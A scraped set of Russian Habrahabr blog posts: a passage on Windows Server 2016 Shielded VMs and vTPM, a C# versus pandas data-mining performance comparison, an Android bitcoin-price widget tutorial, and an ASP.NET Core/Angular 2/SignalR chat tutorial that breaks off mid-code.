kernel, SMART или SKERNEL), которое обращается к обычному ядру через IUM (Isolated User Mode) с использованием Intel VT-d. Данный механизм защищает виртуальные аппаратные ресурсы от доступа администратора хоста. Важный момент – защита от так называемых DMA-атак, например, «подложных» драйверов, пытающихся скомпрометировать память VSM. Для контроля памяти DMA гипервизор использует IOMMU системы. Виртуальная машина должна быть защищена в любом состоянии: выключена, работает или «переезжает». Для этого необходима материнская плата с поддержкой UEFI, Secure Boot в ВМ и поддержка TPM 2.0. Trusted Platform Module (TPM) – криптопроцессор международного стандарта. Windows Server 2016 Hyper-V позволяет применять для защиты ВМ виртуальный TPM. В результате ВМ могут использовать, например, функцию BitLocker. Виртуальный TPM не требует наличия физического модуля TPM. vTPM – это некое виртуальное устройство TPM для гостевых ВМ, позволяющее шифровать их диски. Для защиты ВМ в «состоянии покоя» служит vTPM. Виртуальный TPM не требует физического TPM и позволяет перемещать ВМ. Это виртуальное устройство TPM 2.0. Кроме того, диск гостевой ВМ шифруется средствами BitLocker. Шифруется и трафик миграции ВМ. Для каждой ВМ создается процесс Virtual Machine Workerr Process (VMWP). Для Shielded VM это защищенный процесс с запретом доступа отладчика и ограничением целого ряда функций. Административный доступ к Shielded VM также ограничен. Закрыт доступ к ней через VMconnect (в базовом режиме), запрещен RemoteFX, незащищенные вызовы WMI, KVP, отключены компоненты интеграции, вставка реестра IMC, удалены незащищенные устройства VDEV. Такой ВМ можно управлять через встроенные механизмы. Если ВМ «сломалась», то для ее починки потребуется отключить режим Shielded VM или восстановить ее из резервной копии. Новые границы безопасности Hyper-V. Проверяются бинарники в ОС, операционная система ограничивает доступ к ресурсам, широко используется аутентификация. Гостевая ОС работает с хостом через защищенный VMWP. Виртуальный TPM шифрует данные ВМ, а ключи шифрования хранятся на внешнем сервере. Гипервизор, VSM, гостевая ОС реализуют отдельные уровни безопасности. Конечно, уровень экранирования (защиты) ВМ можно настраивать. Более слабый уровень защиты можно использовать, когда вы доверяете админу хоста, или хост-система не поддерживает все требования Shielded VM. В этом случае снижаются и непроизводительные потери из-за экранирования. Базовый уровень. Использует функции TPM – в ВМ работает vTPM, поддерживается Secure Boot, шифрование диска, VSC и т.д. Защита этого уровня дополняется шифрованием состояния ВМ и трафика миграции. Полное экранирование, включая ограничение операций администратора хоста. Чтобы все это работало, внесены изменения в режимы безопасности гипервизора. По умолчанию он не доверяет хост-системе, из нее нет прямого доступа к гипервизору, ограничен ее доступ к ключевым системным ресурсам. Все необходимое выполняется из ОС гостевых ВМ. Операционная система хоста в основном реализует функции управления. Состояние гипервизора в файле гибернации шифруется. Таким образом, данные и состояние Shielded VM защищены от админов и вредоносных программ, VSM на хосте защищается с помощью vTPM, поддерживается шифрование диска, а Shielded VM может запускаться только на проверенном узле. О развертывании экранированных ВМ и особенностях Shielded VM рассказывается в этом документе. С прицелом на хостинговые компании и крупные организации в Windows Server 2016 реализован также инструментарий Guarded Fabric. С его помощью можно гибко сконфигурировать сетевую инфраструктуру и разбить ее на сегменты таким образом, чтобы нельзя было перехватывать данные, вмешиваться из одной виртуальной машины в другую и выполнять прочие противоречащие политикам безопасности операции. В сетях провайдеров облачных услуг могут функционировать десятки тысяч виртуальных машин, в инфраструктуре которых могут возникать конфликты IP-адресов, появляться системы виртуализации с вредоносными программами. Задача Guarded Fabric – это предотвратить. Виртуальный хостинг и облака больше не являются небезопасными – устранено одно из основных препятствий в использовании облачных сервисов. Виртуальные серверы теперь можно использовать для нагрузок, которые ранее из соображений безопасности можно было выполнять лишь на аппаратных платформах.
https://habrahabr.ru/company/ruvds/blog/318476/
habrahabr
Быстрый Data Mining или сравнение производительности C# vs Python (pandas-numpy-skilearn)
['c#', 'jupyter notebook', 'data mining']
Всем привет! Разбираясь со Spark Apache, столкнулся с тем, что после достаточно небольшого усложнения алгоритмов подготовки данных расчеты стали выполняться крайне медленно. Поэтому захотелось...
Всем привет! Разбираясь со Spark Apache, столкнулся с тем, что после достаточно небольшого усложнения алгоритмов подготовки данных расчеты стали выполняться крайне медленно. Поэтому захотелось реализовать что-нибудь на C# и сравнить производительность с аналогичным по классу решением на стеке python (pandas-numpy-skilearn). Аналогичным, потому что они выполняются на локальной машине. Подготовка данных на C# осуществлялась встроенными средствами (linq), расчет линейной регрессии библиотекой extremeoptimization . В качестве тестовой использовалась задача «B. Предсказание трат клиентов» с ноябрьского соревнования Sberbank Data Science Journey . Сразу стоит подчеркнуть, что в данной статье описан исключительно аспект сравнения производительности платформ, а не качества модели и предсказаний. Итак, сначала краткое описание последовательности действий реализованных на C# (куски кода будут ниже): 1. Загрузить данные из csv. Использовалась библиотека Fast Csv Reader . 2. Отфильтровать расходные операции и выполнить группировку по месяцам. 3. Добавить каждому клиенту те категории, по которым у него не было операций. Для того, чтобы избежать длительный перебор цикл-в-цикле использовал фильтр Блума . Реализацию на C# нашел тут . 4. Формирование массива Hashing trick . Так как готовой реализации под C# не удалось найти, пришлось реализовать самому. Для этого скачал и допилил реализацию хеширования murmurhash3 5. Собственно расчет регрессии. Решение на Jupyter Notebook (далее JN) выглядит так (подключение библиотек опускаю, потому что это не входило в замеряемое время): %%time #Читаем файл с исходными данными по транзакциям transactions = pd.read_csv('.//JN//SBSJ//transactions.csv') all_cuses = transactions.customer_id.unique() #Читаем файл с типами операций mcc = pd.read_csv('.//JN//SBSJ//tr_mcc_codes.csv', sep=';') all_mcc = mcc.mcc_code.unique() #Фильтрация расходных транзакций transactions = transactions[transactions.amount < 0].copy() transactions['day'] = transactions.tr_day.apply(lambda dt: dt.split()[0]).astype(int) transactions.day += 29 - transactions['day'].max()%30 #Преобразование дней в месяцы transactions['month_num'] = (transactions.day) // 30 train_transactions = transactions[transactions.month_num < 15] #Добавление отсутствующих типов операций и фильтрация нескольких последних месяцев (на полной выборке не хватало памяти) grid = list(product(*[all_cuses, all_mcc, range(11, 15)])) train_grid = pd.DataFrame(grid, columns = ['customer_id', 'mcc_code', 'month_num']) train = pd.merge(train_grid, train_transactions.groupby(['month_num', 'customer_id', 'mcc_code'])[['amount']].sum().reset_index(), how='left').fillna(0) #Добавление информации о расходах в предыдущих месяцах for month_shift in range(1, 3): train_shift = train.copy() train_shift['month_num'] = train_shift['month_num'] + month_shift train_shift = train_shift.rename(columns={"amount" : 'amount_{0}'.format(month_shift)}) train_shift = train_shift[['month_num', 'customer_id', 'mcc_code', 'amount_{0}'.format(month_shift)]] train = pd.merge(train, train_shift, on=['month_num', 'customer_id', 'mcc_code'], how='left').fillna(0) train['year_num'] = (train.month_num) // 12 #Создание массива hashier trick hasher = FeatureHasher(n_features=6, input_type='string') train_sparse = \ hasher.fit_transform(train[['year_num', 'month_num', 'customer_id', 'mcc_code']].astype(str).as_matrix()) train_sparse2 = sparse.hstack([train_sparse, np.log(np.abs(train[['amount_1', 'amount_2']]) + 1).as_matrix(),]) #Без этого хинта расчет регрессии не корректен d = list(train_sparse2.toarray()) #Собственно расчет clf = LinearRegression() clf.fit(d, np.log(np.abs(train['amount']) + 1)) #Результаты print('Coefficients: \n', clf.coef_) print('Intercept: \n', clf.intercept_) print("\nRMSLE: ") np.sqrt(mse(np.log(np.abs(train['amount']) + 1),clf.predict(d))) Теперь подробнее о реализации C#. Опыты показали, что классы типа DataTable и прочие очень расточительны по отношению к памяти. Поэтому использовался простой список элементов класса Client: [Serializable] public class Client { private Int32 name; private Int16 period; private Int16 year; private Int16 mcc; private double amount; private double amount1; private double amount2; // Методы get/set ... Далее, чтение данных и группировка: // Группируем расходные транзакции List<Client> lTransGrouped = lClientsTrans.AsParallel() .Where(row => row.getAmount() < 0) .GroupBy(row => new { month = (row.getPeriod() + 29 - Convert.ToInt16(maxNumDay) % 30) / 30, // Преобразуем дни в месяцы mcc = row.getMcc(), cid = row.getName() }) .Select(grp => new Client( grp.Key.cid, Convert.ToInt16(grp.Key.month), grp.Key.mcc, Math.Log(Math.Abs(grp.Sum(r => r.getAmount())) + 1))).ToList(); lClientsTrans = null; Затем добавляем отсутствующие типы операций, используя фильтр Блума. Можно было бы и без него, но тогда бы увеличилось время выполнения (полный перебор для каждого типа) или объем используемой памяти (если добавлять все типы подряд, а потом агрегировать). public static List<Client> addPeriodMcc(List<Client> lTransGrouped, Int16 maxNumMon) { List<Client> lMcc = new List<Client>(); string fnameMcc = @"j:\hadoop\Contest\Contest\tr_mcc_codes.csv"; // Читаем mcc_code CsvReader csvMccReader = new CsvReader(new StreamReader(fnameMcc), true, ';'); // Читаем типы операций while (csvMccReader.ReadNextRecord()) { Int16 mcc = Convert.ToInt16(csvMccReader[0]); lMcc.Add(new Client(0, 0, mcc, 0)); } // Готовим таблицу для массива mcc под все записи List<Client> lNewMcc = new List<Client>(); // Для генерации отсутствующих записей нужно знать ID клиентов var lTransCID = lTransGrouped.AsParallel().Select(a => a.getName()).Distinct(); Console.WriteLine("Unique CID: " + lTransCID.Count()); // Задаем мощность фильтра int capacity = lTransGrouped.Count() * 6; // Чем больше множитель, тем меньше вероятность промахнуться var filter = new Filter<string>(capacity); //Собственно сам фильтр // Заполнение фильтра foreach (var i in lTransGrouped) filter.Add(i.getName().ToString() + i.getPeriod() + i.getMcc()); // Если записи у клиента нет операции в фильтре, то добавляем foreach (var cid in lTransCID) for (Int16 m = 0; m <= maxNumMon; m++) foreach (var mcc in lMcc) if (filter.Contains(cid.ToString() + m.ToString() + mcc.getMcc().ToString()) != true) lNewMcc.Add(new Client(cid, m, mcc.getMcc(), 0)); lTransCID = lMcc = null; Console.WriteLine("Count lNewMcc: " + lNewMcc.Count); Console.WriteLine("Count lTransGrouped: " + lTransGrouped.Count); // Объединение List<Client> lTransFull = lNewMcc.Union(lTransGrouped).ToList(); Console.WriteLine("Count lTransFull: " + lTransFull.Count); lTransGrouped = lNewMcc = null; return lTransFull; } Этап добавления операций за предыдущие месяцы: public static List<Client> addAmounts(List<Client> lTransFull) { List<Client> lTransFullA2; // Для корректного добавления значений предыдущих месяцев нужно отсортировать lTransFullA2 = lTransFull.OrderBy(a => a.getName()) .ThenBy(a => a.getMcc()) .ThenBy(a => a.getYear()) .ThenBy(a => a.getPeriod()).ToList(); int name = 0; int month = 0; int year = 0; int mcc = 0; int i = 0; foreach (var l in lTransFullA2) { name = l.getName(); mcc = l.getMcc(); year = l.getYear(); month = l.getPeriod(); // Предыдущий месяц if (i > 0 && name == lTransFullA2[i - 1].getName() && mcc == lTransFullA2[i - 1].getMcc() && year == lTransFullA2[i - 1].getYear() && month == lTransFullA2[i - 1].getPeriod() + 1) { l.setAmount1(lTransFullA2[i - 1].getAmount()); } // Позапрошлый месяц if (i > 1 && name == lTransFullA2[i - 2].getName() && mcc == lTransFullA2[i - 2].getMcc() && year == lTransFullA2[i - 2].getYear() && month == lTransFullA2[i - 2].getPeriod() + 2) { l.setAmount2(lTransFullA2[i - 2].getAmount()); } i++; } return lTransFullA2; } Далее заполнение массива hashing trick и подготовка данных в формате понятном модели и собственно расчет int n_features = 6; // Вектор зависимых переменных Extreme.Mathematics.LinearAlgebra.SparseVector<double> v = Vector.CreateSparse<double>(lTransFullA2.Count); // Массив независимых (hash + расходы предыдущих месяцев) md = Matrix.Create<double>(lTransFullA2.Count, n_features + 2); // Формирование Hashing trick Parallel.For(0, lTransFullA2.Count(), i => hashing_vectorizer(lTransFullA2[i], i, n_features)); for (int i = 0; i < lTransFullA2.Count; i++) { md[i, n_features] = lTransFullA2[i].getAmount1(); md[i, n_features + 1] = lTransFullA2[i].getAmount2(); v.AddAt(i, lTransFullA2[i].getAmount()); } lTransFullA2 = null; GC.Collect(2, GCCollectionMode.Forced); var model = new LinearRegressionModel(v, md); // Формирование модели model.MaxDegreeOfParallelism = 8; model.Compute(); // Расчет Console.WriteLine(model.Summarize()); // Вывод рассчитанных значений GC.Collect(2, GCCollectionMode.Forced); Ну и наконец реализация Hashing trick: public static void hashing_vectorizer(Client f, int i, int n) { int[] x = new int[n]; string s = f.getYear().ToString(); // int idx = getIndx(s, n); x[idx] += calcBit(s); md[i,idx] = x[idx]; s = f.getPeriod().ToString(); idx = getIndx(s, n); x[idx] += calcBit(s); md[i, idx] = x[idx]; s = f.getName().ToString(); idx = getIndx(s, n); x[idx] += calcBit(s); md[i, idx] = x[idx]; s = f.getMcc().ToString(); idx = getIndx(s, n); x[idx] += calcBit(s); md[i, idx] = x[idx]; } // Хэширование для выяснения знака public static int calcBit(string s) { byte b = 0; b = Convert.ToByte(s[0]); for (int i = 1; i < s.Count(); i++) b ^= Convert.ToByte(s[0]); bool result = true; while (b >= 1) { result ^= (b & 0x01) != 0; b = Convert.ToByte(b >> 1); } if (result) return -1; else return 1; } public static int getIndx(string str, int n) { Encoding encoding = new UTF8Encoding(); byte[] input = encoding.GetBytes(str); uint h = MurMurHash3.Hash(input); return Convert.ToInt32(h % n); } Результаты работы программ практически идентичны (RMSLE около 1.6). Вот как это выглядит: Теперь переходим к самому интересному — результатам тестирования. Все тесты запускались на i7-2600 (8 потоков, но большую часть времени работало 1-2). Оперативной памяти 12 Гб, ОС Win7. Для выяснения зависимости времени выполнения от объема данных расчеты запускались на 1.7, 3.4, 5,1 и 6.8 млн. исходных записей (содержимое файла transactions.csv). Но так как в ходе подготовки данных происходила фильтрация за 11-14 месяцы, на графике показано количество данных уже после фильтрации. Как видно, версия на C# приблизительно в 2 раза быстрее. Похожая ситуация и с расходом памяти. Тут не учитывается память занимаемая Visual Studio (C# запускался в режиме отладки) и браузером (localhost:8888). Для оценки бралось пиковое значение: При дальнейшем увеличении выборки JN уже начинал использовать файл подкачки, в результате чего все резко замедлялось. Таким образом, мы видим, что использование C# позволяет существенно быстрее обработать больший объем данных, чем JN, так как оперативная память выступает тут жестким ограничителем. С другой стороны, средства визуализации matplotlib позволяют анализировать данные почти «на лету», да и кода C# требуется писать гораздо больше. Поэтому в случае нехватки памяти/скорости оптимальным вариантом видится использование стека JN для отладки модели на ограниченной выборке и финальная реализация уже на C#.
https://habrahabr.ru/post/318484/
habrahabr
Разработка виджета под Android для отображения курса bitcoin
['android widget разработка']
Привет, хаброчитатели! Предыстория: с недавних пор отслеживаю рост курса криптовалюты bitcoin(BTC). Раньше для просмотра котировок заглядывал на сайт какой-нибудь биржи, но гораздо удобнее иметь на...
Привет, хаброчитатели! Предыстория: с недавних пор отслеживаю рост курса криптовалюты bitcoin(BTC). Раньше для просмотра котировок заглядывал на сайт какой-нибудь биржи, но гораздо удобнее иметь на рабочем экране смартфона небольшой виджет, который отобразит актуальную информацию. На маркетах представлена куча разнообразных виджетов, показывающих курсы криптовалют. Но гораздо интереснее создать что-то свое. В этой статье я кратко опишу свой опыт создания виджета для гаджета под управлением ОС Android. Для понимания материала статьи желательно начальное знакомство с Java и Android-разработкой в IDE Android Studio. Если нет — Вам сюда: Android developers . Мой небольшой виджет будет отображать цену биткоина в долларах и время, на которое актуальна данная цена. Информация будет загружаться с русскоязычной биржи BTC-e , поскольку эта площадка отдает курс в удобном JSON-формате в ответ на get-запрос по url btc-e.nz/api/3/ticker/btc_usd . Пример ответа биржи: {"btc_usd":{"high":880,"low":836,"avg":858,"vol":3774491.17766,"vol_cur":4368.01172,"last":871.999,"buy":872,"sell":870.701,"updated":1482754417}} Итак, для начала разработки создаем в IDE новый проект с помощью подходящего шаблона. Выбираем «Start a new Android Studio project», затем вводим имя и расположение проекта, выбираем целевое устройство и версию API, далее нужен пункт «Add no activity». Скриншоты После того, как откроется IDE workspace, создадим пустой виджет с помощью встроенных шаблонов. Для этого нужно в дереве файлов проекта вызвать контекстное меню на папке app и выбрать пункт New → Widget → App Widget. Скриншот Будут созданы несколько файлов, из которых особенно интересны три. Первый — xml-файл (res → xml → btcwidget_info.xml) с основными параметрами виджета: <source lang="xml"><?xml version="1.0" encoding="utf-8"?> <appwidget-provider xmlns:android="http://schemas.android.com/apk/res/android" android:initialKeyguardLayout="@layout/btcwidget" android:initialLayout="@layout/btcwidget" android:minHeight="40dp" android:minWidth="110dp" android:previewImage="@drawable/example_appwidget_preview" android:resizeMode="horizontal|vertical" android:updatePeriodMillis="180000" android:widgetCategory="home_screen"></appwidget-provider> Параметр initialLayout задает имя xml-файла с визуальной разметкой виждета. minHeight и min-Width — минимальные размеры добавляемого виджета, updatePeriodMillis — время обновления информации в мс, но не чаще раза в полчаса (параметр 10 мс все равно воспринимается как минимальные 30 мин). Второй xml-файл (res → layout → btcwidget.xml) содержит параметры визуального отображения виджета (разметка визуальных элементов). В нем находится описание одного визуального элемента TextView внутри разметки RelativeLayout ( Layouts ): <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:background="#09C" android:padding="@dimen/widget_margin"> <TextView android:id="@+id/appwidget_text" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_centerHorizontal="true" android:layout_centerVertical="true" android:layout_margin="8dp" android:background="#09C" android:contentDescription="@string/appwidget_text" android:text="@string/appwidget_text" android:textColor="#ffffff" android:textSize="20sp" android:textStyle="bold|italic" /> </RelativeLayout> Самое интересное — третий файл с шаблоном исходного кода виджета на языке java. В таком виде шаблон не несет функциональной нагрузки, однако по комментариям кода можно понять, какой метод когда выполняется и за что отвечает: Шаблон кода виджета /** * Implementation of App Widget functionality. */ public class BTCWidget extends AppWidgetProvider { static void updateAppWidget(Context context, AppWidgetManager appWidgetManager, int appWidgetId) { CharSequence widgetText = context.getString(R.string.appwidget_text); // Construct the RemoteViews object RemoteViews views = new RemoteViews(context.getPackageName(), R.layout.btcwidget); views.setTextViewText(R.id.appwidget_text, widgetText); // Instruct the widget manager to update the widget appWidgetManager.updateAppWidget(appWidgetId, views); } @Override public void onUpdate(Context context, AppWidgetManager appWidgetManager, int[] appWidgetIds) { // There may be multiple widgets active, so update all of them for (int appWidgetId : appWidgetIds) { updateAppWidget(context, appWidgetManager, appWidgetId); } } @Override public void onEnabled(Context context) { // Enter relevant functionality for when the first widget is created } @Override public void onDisabled(Context context) { // Enter relevant functionality for when the last widget is disabled } } Стоит сразу сказать, что ОС Android позволяет создавать большое количество экземпляров нашего виджета и их поведение будет целиком описываться приведенным выше кодом. Для более глубокого понимания поведения и жизненного цикла виджетов рекомендую ознакомиться со статьей Android Widget . Ниже в комментариях кода я объясню лишь некоторые моменты. Столкнулся со следущей сложностью: система позволяет виджету обновляться (методом updateAppWidget) не чаще чем раз в 30 минут по соображениям экономии батареи. Но мне хотелось иметь возможность обновлять данные в нужный момент и я нашел способ обойти это ограничение. Для этого виджет был запрограммирован к принудительному обновлению по клику на него. Реализовал такое действие следующим образом: по нажатию на виджет в систему отправляется интент (Intent), который ловится самим же виджетом и обрабатывается запуском обновления данных. Если кто-то знает способ проще — буду рад советам в комментариях. Исходный код виджета с добавленной функциональностью /** * Implementation of App Widget functionality. */ public class BTCwidget extends AppWidgetProvider { private static final String SYNC_CLICKED = "btcwidget_update_action"; private static final String WAITING_MESSAGE = "Wait for BTC price"; public static final int httpsDelayMs = 300; //этот метод выполняется, когда пора обновлять виджет static void updateAppWidget(Context context, AppWidgetManager appWidgetManager, int appWidgetId) { //Объект RemoteViews дает нам доступ к отображаемым в виджете элементам: RemoteViews views = new RemoteViews(context.getPackageName(), R.layout.btcwidget); //в данном случае - к TextView views.setTextViewText(R.id.appwidget_text, WAITING_MESSAGE); appWidgetManager.updateAppWidget(appWidgetId, views); String output; //запускаем отдельный поток для получения данных с сайта биржи //в основном потоке делать запрос нельзя - выбросит исключение HTTPRequestThread thread = new HTTPRequestThread(); thread.start(); try { while (true) { Thread.sleep(300); if(!thread.isAlive()) { output = thread.getInfoString(); break; } } } catch (Exception e) { output = e.toString(); } //выводим в виджет результат views.setTextViewText(R.id.appwidget_text, output); // Instruct the widget manager to update the widget appWidgetManager.updateAppWidget(appWidgetId, views); } @Override public void onUpdate(Context context, AppWidgetManager appWidgetManager, int[] appWidgetIds) { RemoteViews remoteViews; ComponentName watchWidget; remoteViews = new RemoteViews(context.getPackageName(), R.layout.btcwidget); watchWidget = new ComponentName(context, BTCwidget.class); //при клике на виджет в систему отсылается вот такой интент, описание метода ниже remoteViews.setOnClickPendingIntent(R.id.appwidget_text, getPendingSelfIntent(context, SYNC_CLICKED)); appWidgetManager.updateAppWidget(watchWidget, remoteViews); //обновление всех экземпляров виджета for (int appWidgetId : appWidgetIds) { updateAppWidget(context, appWidgetManager, appWidgetId); } } //этот метод ловит интенты, срабатывает когда интент создан нажатием на виджет и //запускает обновление виджета @Override public void onReceive(Context context, Intent intent) { super.onReceive(context, intent); if (SYNC_CLICKED.equals(intent.getAction())) { AppWidgetManager appWidgetManager = AppWidgetManager.getInstance(context); RemoteViews remoteViews; ComponentName watchWidget; remoteViews = new RemoteViews(context.getPackageName(), R.layout.btcwidget); watchWidget = new ComponentName(context, BTCwidget.class); remoteViews.setTextViewText(R.id.appwidget_text, WAITING_MESSAGE); //updating widget appWidgetManager.updateAppWidget(watchWidget, remoteViews); String output; HTTPRequestThread thread = new HTTPRequestThread(); thread.start(); try { while (true) { Thread.sleep(httpsDelayMs); if(!thread.isAlive()) { output = thread.getInfoString(); break; } } } catch (Exception e) { output = e.toString(); } remoteViews.setTextViewText(R.id.appwidget_text, output); //widget manager to update the widget appWidgetManager.updateAppWidget(watchWidget, remoteViews); } } //создание интента protected PendingIntent getPendingSelfIntent(Context context, String action) { Intent intent = new Intent(context, getClass()); intent.setAction(action); return PendingIntent.getBroadcast(context, 0, intent, 0); } } Содержимое класса HTTPRequestThread.java: Посмотреть: package com.hakey.btcwidget; import java.io.BufferedReader; import java.io.InputStreamReader; import java.net.HttpURLConnection; import java.net.URL; import java.util.Calendar; class HTTPRequestThread extends Thread{ private static final String urlString = "https://btc-e.nz/api/3/ticker/btc_usd"; String getInfoString() { return output; } private String output = ""; private void requestPrice() { try { URL url = new URL(urlString); HttpURLConnection con = (HttpURLConnection) url.openConnection(); con.setRequestMethod("GET"); BufferedReader in = new BufferedReader(new InputStreamReader(con.getInputStream())); String inputLine; StringBuilder response = new StringBuilder(); while ((inputLine = in.readLine()) != null) { response.append(inputLine); } in.close(); output = "Price: " + JSONParser.getPrice(response.toString()) + "\n" + getTimeStamp(); } catch (Exception e) { output = e.toString(); } } @Override public void run() { requestPrice(); } private String getTimeStamp() { Calendar calendar = Calendar.getInstance(); if(calendar.get(Calendar.MINUTE)>9) { return "Time: " + calendar.get(Calendar.HOUR_OF_DAY) + ":" + calendar.get(Calendar.MINUTE); } else { return "Time: " + calendar.get(Calendar.HOUR_OF_DAY) + ":0" + calendar.get(Calendar.MINUTE); } } } Парсер ответа с сервера — JSONParser.java: Смотреть: package com.hakey.btcwidget; import org.json.JSONException; import org.json.JSONObject; class JSONParser { static String getPrice(String s) throws JSONException { String price; JSONObject obj = new JSONObject(s); JSONObject pairObj = obj.getJSONObject("btc_usd"); price = pairObj.getString("last"); return price; } } Вот так выглядит описанный выше виджет: Скриншот Полный исходный код доступен здесь: github.com/hakeydotom/BTCPriceWidget
https://habrahabr.ru/post/318482/
habrahabr
ASP.NET Core, Angular 2, SignalR для чайников
['Asp.Net Core', 'Angular 2', 'SignalR']
Всем привет! Хочу поделиться своим опытом использования ASP.Net Core и Angular 2 с использованием SignalR. Будучи программистом 1С, часто приходится решать задачи, которые на 1С решить сложно...
Всем привет! Хочу поделиться своим опытом использования ASP.Net Core и Angular 2 с использованием SignalR. Будучи программистом 1С, часто приходится решать задачи, которые на 1С решить сложно или невозможно. Очень помогает знание .Net. Но вот, что касается клиентской части сайтов, то здесь много тонкостей (JavaScript, CSS, JQuery итд), которые быстро забываются, если ими не пользоваться. Angular 2 позволяет значительно упростить создание клиентской части. Так TypeScript значительно ближе к C# (и главное позволяет использовать Руслиш), а с шаблонами несложно разобраться зная Razor и Xaml. Главное, что вы работаете с данными, по аналогии с WPF. При этом есть куча контролов. Хочу поделиться с такими же бедолагами как я, или кто только начинает изучение Angular 2, ASP.Net Core, так как потратил значительное время, на поиски материалов для изучения. Для тренировки на кошках был выбран мой проект 1C Messenger для отправки сообщений, файлов и обмена данными между пользователями 1С, вэб страницы, мобильными приложениями а ля Skype, WhatsApp . Исходники Здесь Пока не вышел. Net Core 1.2 и NetStandard 2, сейчас нет поддержки клиента для SignalR под .Net Core Итак, начнем. Для работы нам потребуется: 1. ASP.NET Core + Angular 2 шаблон для Visual Studio 2. Руководство по ASP.NET Core 3. Руководство по Angular 2 4. Руководство по TypeScript 5. Компоненты от PrimeNG 6. Компоненты Bootstrap ASP.NET Core + Angular 2 шаблон для Visual Studio это чудесный шаблон, котоый настраивает ваше приложения для использования ASP.Net Core и Angular 2 создавая кучу json-файлов и настаивая для использования webpack. Для примера можно почитать статью Запускаем Angular2 c Visual Studio 2015 И самое главное мы можем изменять ts и html файлы во время отладки и видеть изменения при обновлении страницы. За это отвечает классы из Microsoft.AspNetCore.SpaServices.dll WebpackDevMiddlewareOptions и SpaRouteExtensions. Да да! Отлаживать мы можем в браузере. При этом Ts файлы лежат в папке (нет домена) Плюс с шаблоном идет куча примеров! Но все они сохранены в ASCII. Если будете использовать кириллицу, нудно пересохранить ts и html в UTF-8. Компоненты от PrimeNG позволяют значительно упростить создание клиентского кода. Кроме того на них можно изучить создание собственных компонент и модифицировать существующие. Начнем с создания хаба SignalR . Удобно использовать типизированные хабы. public interface IHelloHub { // На клиенте независимо как названы методы на сервере //будет использоваться Camel нотация // поэтому все методы начинаем с прописных букв Task sendEcho(string str, string Кому); // События Клиенту // Нужно учитывать, что Xamarin пока поддерживат передачу только 4 параметров Task addMessage(string Name, string str, string ConnectionId); } То при реализации этого интерфейса буду контролироваться не только метод sendEcho. Но и Clients.Others.addMessage и Clients.Client(Кому).addMessage. public class HelloHub : Hub<IHelloHub> { // Отправим сообщения всем пользователям, кроме отсылающего если Кому пустая строка // Если Кому определен, то отправим конкретному пользователю и ID Кому public async Task sendEcho(string str, string Кому) { var user = new User(); if (!ПользовательЗарегистрирован(user)) return; if (string.IsNullOrWhiteSpace(Кому)) await Clients.Others.addMessage(user.Name, str, user.ConnectionId); else await Clients.Client(Кому).addMessage(user.Name, str, user.ConnectionId); } } Кроме того этот интерфейс удобно использовать в .Net приложении, и можно создать кодогенератор для TypeScript описания сервиса. Теперь перейдем к созданию клиента. Сначала создадим общий сервис Один сервис для всех компонентов Это позволит нам держать сервис живым на протяжении всей жизни страницы, а компонент будет считывать данные считывать данные, после переходов внутри страницы. Код сервиса SignalR /// <reference path="../models/ForHelloHub.ts"/> import { IHelloHub, DataInfo, ChatMessage, User} from "../models/ForHelloHub"; import { EventEmitter } from '@angular/core'; import { SelectItem } from 'primeng/primeng'; declare var $: any; export class HelloHub implements IHelloHub { // Все сообщения public allMessages: ChatMessage[]; // Флаг подключения к Хабу public connectionExists: Boolean; // Пользователь зарегистрировал имя public isRegistered: Boolean; // $.connection.helloHub.server private server: any; // $.connection.helloHub.client private client: any; // $.connection.helloHub private chat: any; // ID подключения private userId: string; // Подключенные пользователи public Users: SelectItem[]; // Событие об изменении списка пользователей public onChangeUser: EventEmitter<void> = new EventEmitter<void>(); // Событие о получении сообщения public onAddMessage: EventEmitter<void> = new EventEmitter<void>(); // Событие о подключении к хабу public onConnected: EventEmitter<void> = new EventEmitter<void>(); // Событие о регистрации имент пользователя. public onRegistered: EventEmitter<void> = new EventEmitter<void>(); constructor() { this.userId = ""; // Установим начальный список с именем "Всем". При его выборе // сообщения будут отправлены всем пользователям, кроме текущего this.Users = [{ label: "Всем", value: ""}]; this.connectionExists = false; this.isRegistered = false; this.chat = $.connection.helloHub; this.server = this.chat.server; this.client = this.chat.client; // Установим обработчики событий this.registerOnServerEvents(); this.allMessages = new Array<ChatMessage>(); // Подсоединимся к Хабу this.startConnection(); } // Сортировка пользователей по имени. Всем должна быть первой private sortUsers() { this.Users.sort((a, b: SelectItem) => { if (a.label == "Всем") return -1; return a.label.toLocaleUpperCase().localeCompare(b.label.toLocaleUpperCase()); }); } //установим обработчики к событиям от сервера private registerOnServerEvents(): void { let self = this; // Событие о получении сообщения //Task addMessage(string Name, string str, string ConnectionId); this.client.addMessage = (name: string, message: string, ConnectionId: string) => { // Добавление сообщений на веб-страницу console.log('addMessage ' + message); self.addMessage(name, message,ConnectionId); }; // Событие о регистрации пользователя //Task onConnected(string id, string userName, List < User > users); this.client.onConnected = function (id: string, userName: string, allUsers: User[]) { self.isRegistered = true; self.userId = id; // Добавление всех пользователей for (let user of allUsers) { self.addUser(user.ConnectionId, user.Name); } self.sortUsers(); // Сообщим об изменении списка пользователей self.onRegistered.emit(); }; //Task onNewUserConnected(string id, string userName); // Добавляем нового пользователя this.client.onNewUserConnected = (id: string, name: string) => { self.addUser(id, name); }; //Task onUserDisconnected(string id, string Name); // Удаляем пользователя this.client.onUserDisconnected = (id: string, userName: string) => { let idx = self.Users.findIndex((cur: SelectItem) => { return cur.value == id; }); if (idx != -1) { return self.Users.splice(idx, 1); }; } } // Найдем пользователя по id // Если не находим то создаем нового пользователя findUser(userName:string,id: string): SelectItem { let idx = this.Users.findIndex((cur: SelectItem) => { return cur.value == id; }); if (idx != -1) { return this.Users[idx]; } return { label: userName, value:id } } // Обработаем сообщение с сервера addMessage(name: string, message: string, ConnectionId: string): void { this.allMessages.splice(0, 0, new ChatMessage(message, new Date, this.findUser(name, ConnectionId))); this.onAddMessage.emit(); } // Добавим пользователя и отсортируем по наименованию addUser(id: string, name: string): void { if (this.userId === "") return; if (this.userId !== id) { let usr = { label: name, value: id }; this.Users.push(usr); this.sortUsers(); this.onChangeUser.emit(); } } // Подключимся к Хабу private startConnection(): void { let self = this; $.connection.hub.start().done((data: any) => { console.log('startConnection ' + data); self.connectionExists = true; self.onConnected.emit(); console.log('Send onConnected'); }).fail((error) => { console.log('Could not connect ' + error); }); } //======= методы и события сервера // Отошлем сообщение Всем или конкретному пользователю 